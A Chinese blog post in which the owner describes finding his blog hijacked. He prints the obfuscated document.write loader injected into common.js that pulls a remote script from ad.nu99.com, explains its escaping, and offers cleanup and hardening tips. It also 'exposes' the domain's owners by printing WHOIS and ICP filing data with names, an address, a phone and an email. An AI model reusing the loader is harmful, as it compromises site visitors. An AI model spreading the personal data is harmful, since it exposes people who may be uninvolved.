博客被挂马

最近在实习之余开始学习javascript了,主要还是因为自己预备将自己的特长向WEB前端倾斜,包括HTML、CSS、javascript、DOM、SEO等,因而也就没有将太多时间放在博客上,可是前天却发现打开博客一会儿后,会跳转成一个广告页面,浏览器地址替换为:http://www.qq937.com/mhxx/tz/3370.html?cid=3370,网友五月天也在博客反映小红伞提示页面有不安全因素。很典型,本博也被别有用心的人给挂马了。

通过查看首页源文件,零才确信博客模板并没有被篡改过,于是猜测一定是首页引用的某个JS文件被挂马了。对首页所有引用的JS文件内容检查,最终在SCRIPT/common.js里发现了挂马代码,代码如下:

document.write("<\x73"+"cript src=’http://\x61"+"d.\x6E"+
"u99"+".\x63"+"om/i"+"p.asp?l"+"oc=jingmen’><\/s"+"cript>");

于是删掉该段代码就清除了这个挂马,如果对这段代码感兴趣的可以了解下javascript,其中使用了简单的加密手段,即将部分字母转成了ASCII码,比如\x73代表s,\x61代表a,\x6E代表n,更多的ASCII码大家可以参考ASCII码表。

关于网站被挂马的一点建议

现在网站被挂马的越来越多了,零才记得上一次牟长青博客也被挂马过,貌似和零才博客被挂马的方式一样,都是通过javascript挂马的。所以,如果站长发现自己的网站被挂马了,第一需要检查的应该就是该页面的源代码和引用javascript的内容。同时,大家可以使用网页挂马分析专家MDecoder检测网站挂马情况,零才今天就是通过该工具锁定common.js文件的。除此之外,站长朋友们还可以安装小红伞杀毒软件,一般的挂马内容都会被检测到的,这样可以尽可能早的知道网站被挂马了。

当然,避免网站被挂马才是最为关键的,你可以对才在隐患的javascript进行漏洞检测,排除可能的漏洞,但是如果不会查找漏洞和修改javascript的,就需要采用其他的方法了。零才推荐的方法就是将网站所有的javascript放在根目录一个单独的文件夹,比如script文件夹,然后在网站空间的控制面板对该文件夹取消写权限,这样所有javascript文件就不会被篡改了。

曝光

零才对挂马代码中的域名进行了简单的顺藤摸瓜了一番,找到了该域名以及域名所有人还用的其他域名,在此做个曝光。

nu99.com的whois信息:
Name : Li DeSI
Organization : Guangzhou WeiZhi Soft
Address : Room 850,building No.1, JIayiYuan,No 445,North Road,Guangzhou
City : guangzhoushi
Province/State : guangdongsheng
Country : china
Postal Code : 510410
Phone Number : 86-020-7829898
Fax : 86-020-7829898
Email : hasom@foxmail.com

hasom@foxmail.com 下的其他域名:wa66.com  oy66.com  zom123.net  mp3tj.com

ICP网站备案信息:
备案/许可证号: 粤ICP备09164785号  审核通过时间: 2009-09-07 
主办单位名称: 钟艺
域名:wa66.com  oy66.com  zom123.net

备案/许可证号: 粤ICP备09132699号  审核通过时间: 2009-07-20 
主办单位名称: 罗新华
域名:mp3tj.com
    
之所以在这里列出改域名所有人的一些信息,不仅是想谴责下那些别有用心的挂马人,更希望饱受过该人骚扰的同学继续努力,找出真凶,为营造和谐互联网而努力!

您可能还喜欢:

22 人评论了 “ 博客的javascript被挂马

  1. 服装论坛 09/05 02:12 评论:

    对博主表示同情,鄙视挂马者!

  2. 香怡 12/09 11:39 评论:

    我也来顶一下..

Comment navigation